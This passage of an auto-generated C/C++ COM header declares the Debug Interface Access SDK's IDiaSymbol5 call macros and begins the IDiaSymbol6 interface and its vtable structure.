(This)->lpVtbl -> get_baseDataOffset(This,pRetVal) ) \n\n#define IDiaSymbol5_get_textureSlot(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_textureSlot(This,pRetVal) ) \n\n#define IDiaSymbol5_get_samplerSlot(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_samplerSlot(This,pRetVal) ) \n\n#define IDiaSymbol5_get_uavSlot(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_uavSlot(This,pRetVal) ) \n\n#define IDiaSymbol5_get_sizeInUdt(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_sizeInUdt(This,pRetVal) ) \n\n#define IDiaSymbol5_get_memorySpaceKind(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_memorySpaceKind(This,pRetVal) ) \n\n#define IDiaSymbol5_get_unmodifiedTypeId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_unmodifiedTypeId(This,pRetVal) ) \n\n#define IDiaSymbol5_get_subTypeId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_subTypeId(This,pRetVal) ) \n\n#define IDiaSymbol5_get_subType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_subType(This,pRetVal) ) \n\n#define IDiaSymbol5_get_numberOfModifiers(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_numberOfModifiers(This,pRetVal) ) \n\n#define IDiaSymbol5_get_numberOfRegisterIndices(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_numberOfRegisterIndices(This,pRetVal) ) \n\n#define IDiaSymbol5_get_isHLSLData(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isHLSLData(This,pRetVal) ) \n\n#define IDiaSymbol5_get_isPointerToDataMember(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isPointerToDataMember(This,pRetVal) ) \n\n#define IDiaSymbol5_get_isPointerToMemberFunction(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isPointerToMemberFunction(This,pRetVal) ) \n\n#define IDiaSymbol5_get_isSingleInheritance(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isSingleInheritance(This,pRetVal) ) \n\n#define IDiaSymbol5_get_isMultipleInheritance(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isMultipleInheritance(This,pRetVal) ) \n\n#define IDiaSymbol5_get_isVirtualInheritance(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isVirtualInheritance(This,pRetVal) ) \n\n#define IDiaSymbol5_get_restrictedType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_restrictedType(This,pRetVal) ) \n\n#define IDiaSymbol5_get_isPointerBasedOnSymbolValue(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isPointerBasedOnSymbolValue(This,pRetVal) ) \n\n#define IDiaSymbol5_get_baseSymbol(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_baseSymbol(This,pRetVal) ) \n\n#define IDiaSymbol5_get_baseSymbolId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_baseSymbolId(This,pRetVal) ) \n\n#define IDiaSymbol5_get_objectFileName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_objectFileName(This,pRetVal) ) \n\n#define IDiaSymbol5_get_isAcceleratorGroupSharedLocal(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isAcceleratorGroupSharedLocal(This,pRetVal) ) \n\n#define IDiaSymbol5_get_isAcceleratorPointerTagLiveRange(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isAcceleratorPointerTagLiveRange(This,pRetVal) ) \n\n#define IDiaSymbol5_get_isAcceleratorStubFunction(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isAcceleratorStubFunction(This,pRetVal) ) \n\n#define IDiaSymbol5_get_numberOfAcceleratorPointerTags(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_numberOfAcceleratorPointerTags(This,pRetVal) ) \n\n#define IDiaSymbol5_get_isSdl(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isSdl(This,pRetVal) ) \n\n#define IDiaSymbol5_get_isWinRTPointer(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isWinRTPointer(This,pRetVal) ) \n\n#define IDiaSymbol5_get_isRefUdt(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isRefUdt(This,pRetVal) ) \n\n#define IDiaSymbol5_get_isValueUdt(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isValueUdt(This,pRetVal) ) \n\n#define IDiaSymbol5_get_isInterfaceUdt(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isInterfaceUdt(This,pRetVal) ) \n\n#define IDiaSymbol5_findInlineFramesByAddr(This,isect,offset,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineFramesByAddr(This,isect,offset,ppResult) ) \n\n#define IDiaSymbol5_findInlineFramesByRVA(This,rva,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineFramesByRVA(This,rva,ppResult) ) \n\n#define IDiaSymbol5_findInlineFramesByVA(This,va,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineFramesByVA(This,va,ppResult) ) \n\n#define IDiaSymbol5_findInlineeLines(This,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineeLines(This,ppResult) ) \n\n#define IDiaSymbol5_findInlineeLinesByAddr(This,isect,offset,length,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineeLinesByAddr(This,isect,offset,length,ppResult) ) \n\n#define IDiaSymbol5_findInlineeLinesByRVA(This,rva,length,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineeLinesByRVA(This,rva,length,ppResult) ) \n\n#define IDiaSymbol5_findInlineeLinesByVA(This,va,length,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineeLinesByVA(This,va,length,ppResult) ) \n\n#define IDiaSymbol5_findSymbolsForAcceleratorPointerTag(This,tagValue,ppResult)\t\\\n    ( (This)->lpVtbl -> findSymbolsForAcceleratorPointerTag(This,tagValue,ppResult) ) \n\n#define IDiaSymbol5_findSymbolsByRVAForAcceleratorPointerTag(This,tagValue,rva,ppResult)\t\\\n    ( (This)->lpVtbl -> findSymbolsByRVAForAcceleratorPointerTag(This,tagValue,rva,ppResult) ) \n\n#define IDiaSymbol5_get_acceleratorPointerTags(This,cnt,pcnt,pPointerTags)\t\\\n    ( (This)->lpVtbl -> get_acceleratorPointerTags(This,cnt,pcnt,pPointerTags) ) \n\n#define IDiaSymbol5_getSrcLineOnTypeDefn(This,ppResult)\t\\\n    ( (This)->lpVtbl -> getSrcLineOnTypeDefn(This,ppResult) ) \n\n#define IDiaSymbol5_get_isPGO(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isPGO(This,pRetVal) ) \n\n#define IDiaSymbol5_get_hasValidPGOCounts(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasValidPGOCounts(This,pRetVal) ) \n\n#define IDiaSymbol5_get_isOptimizedForSpeed(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isOptimizedForSpeed(This,pRetVal) ) \n\n#define IDiaSymbol5_get_PGOEntryCount(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_PGOEntryCount(This,pRetVal) ) \n\n#define IDiaSymbol5_get_PGOEdgeCount(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_PGOEdgeCount(This,pRetVal) ) \n\n#define IDiaSymbol5_get_PGODynamicInstructionCount(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_PGODynamicInstructionCount(This,pRetVal) ) \n\n#define IDiaSymbol5_get_staticSize(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_staticSize(This,pRetVal) ) \n\n#define IDiaSymbol5_get_finalLiveStaticSize(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_finalLiveStaticSize(This,pRetVal) ) \n\n#define IDiaSymbol5_get_phaseName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_phaseName(This,pRetVal) ) \n\n#define IDiaSymbol5_get_hasControlFlowCheck(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasControlFlowCheck(This,pRetVal) ) \n\n#define IDiaSymbol5_get_constantExport(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_constantExport(This,pRetVal) ) \n\n#define IDiaSymbol5_get_dataExport(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_dataExport(This,pRetVal) ) \n\n#define IDiaSymbol5_get_privateExport(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_privateExport(This,pRetVal) ) \n\n#define IDiaSymbol5_get_noNameExport(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_noNameExport(This,pRetVal) ) \n\n#define IDiaSymbol5_get_exportHasExplicitlyAssignedOrdinal(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_exportHasExplicitlyAssignedOrdinal(This,pRetVal) ) \n\n#define IDiaSymbol5_get_exportIsForwarder(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_exportIsForwarder(This,pRetVal) ) \n\n#define IDiaSymbol5_get_ordinal(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_ordinal(This,pRetVal) ) \n\n#define IDiaSymbol5_get_frameSize(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_frameSize(This,pRetVal) ) \n\n#define IDiaSymbol5_get_exceptionHandlerAddressSection(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_exceptionHandlerAddressSection(This,pRetVal) ) \n\n#define IDiaSymbol5_get_exceptionHandlerAddressOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_exceptionHandlerAddressOffset(This,pRetVal) ) \n\n#define IDiaSymbol5_get_exceptionHandlerRelativeVirtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_exceptionHandlerRelativeVirtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol5_get_exceptionHandlerVirtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_exceptionHandlerVirtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol5_findInputAssemblyFile(This,ppResult)\t\\\n    ( (This)->lpVtbl -> findInputAssemblyFile(This,ppResult) ) \n\n#define IDiaSymbol5_get_characteristics(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_characteristics(This,pRetVal) ) \n\n#define IDiaSymbol5_get_coffGroup(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_coffGroup(This,pRetVal) ) \n\n#define IDiaSymbol5_get_bindID(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_bindID(This,pRetVal) ) \n\n#define IDiaSymbol5_get_bindSpace(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_bindSpace(This,pRetVal) ) \n\n#define IDiaSymbol5_get_bindSlot(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_bindSlot(This,pRetVal) ) \n\n\n#define IDiaSymbol5_get_isObjCClass(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isObjCClass(This,pRetVal) ) \n\n#define IDiaSymbol5_get_isObjCCategory(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isObjCCategory(This,pRetVal) ) \n\n#define IDiaSymbol5_get_isObjCProtocol(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isObjCProtocol(This,pRetVal) ) \n\n\n#define IDiaSymbol5_get_inlinee(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_inlinee(This,pRetVal) ) \n\n#define IDiaSymbol5_get_inlineeId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_inlineeId(This,pRetVal) ) \n\n\n#define IDiaSymbol5_get_noexcept(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_noexcept(This,pRetVal) ) \n\n\n#define IDiaSymbol5_get_hasAbsoluteAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasAbsoluteAddress(This,pRetVal) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol5_get_hasAbsoluteAddress_Proxy( \n    IDiaSymbol5 * This,\n    /* [retval][out] */ BOOL *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol5_get_hasAbsoluteAddress_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n\n#endif \t/* __IDiaSymbol5_INTERFACE_DEFINED__ */\n\n\n#ifndef __IDiaSymbol6_INTERFACE_DEFINED__\n#define __IDiaSymbol6_INTERFACE_DEFINED__\n\n/* interface IDiaSymbol6 */\n/* [unique][helpstring][local][uuid][object] */ \n\n\nEXTERN_C const IID IID_IDiaSymbol6;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"8133dad3-75fe-4234-ac7e-f8e7a1d3cbb3\")\n    IDiaSymbol6 : public IDiaSymbol5\n    {\n    public:\n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isStaticMemberFunc( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IDiaSymbol6Vtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            IDiaSymbol6 * This,\n            /* [in] */ REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            IDiaSymbol6 * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            IDiaSymbol6 * This);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_symIndexId )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_symTag )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_name )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lexicalParent )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_classParent )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_type )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_dataKind )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_locationType )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressSection )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressOffset )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_relativeVirtualAddress )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualAddress )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_registerId )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_offset )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ LONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_length )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_slot )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_volatileType )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_constType )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unalignedType )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_access )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_libraryName )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_platform )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_language )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_editAndContinueEnabled )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndMajor )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndMinor )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndBuild )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndMajor )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndMinor )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndBuild )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_sourceFileName )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unused )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_thunkOrdinal )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_thisAdjust )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ LONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseOffset )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtual )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_intro )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_pure )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_callingConvention )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_value )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ VARIANT *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseType )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_token )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_timeStamp )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_guid )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ GUID *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_symbolsFileName )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_reference )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_count )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bitPosition )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_arrayIndexType )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_packed )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_constructor )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_overloadedOperator )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_nested )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasNestedTypes )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasAssignmentOperator )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasCastOperator )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_scoped )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseClass )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_indirectVirtualBaseClass )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBasePointerOffset )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ LONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualTableShape )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lexicalParentId )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_classParentId )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_typeId )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_arrayIndexTypeId )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualTableShapeId )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_code )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_function )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_managed )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_msil )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseDispIndex )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_undecoratedName )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_age )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_signature )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_compilerGenerated )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressTaken )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_rank )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lowerBound )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_upperBound )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lowerBoundId )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_upperBoundId )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_dataBytes )( \n            IDiaSymbol6 * This,\n            /* [in] */ DWORD cbData,\n            /* [out] */ DWORD *pcbData,\n            /* [size_is][out] */ BYTE *pbData);\n        \n        HRESULT ( STDMETHODCALLTYPE *findChildren )( \n            IDiaSymbol6 * This,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD compareFlags,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findChildrenEx )( \n            IDiaSymbol6 * This,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD compareFlags,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findChildrenExByAddr )( \n            IDiaSymbol6 * This,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD compareFlags,\n            /* [in] */ DWORD isect,\n            /* [in] */ DWORD offset,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findChildrenExByVA )( \n            IDiaSymbol6 * This,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [in] */ LPCOLESTR name,\n            /* 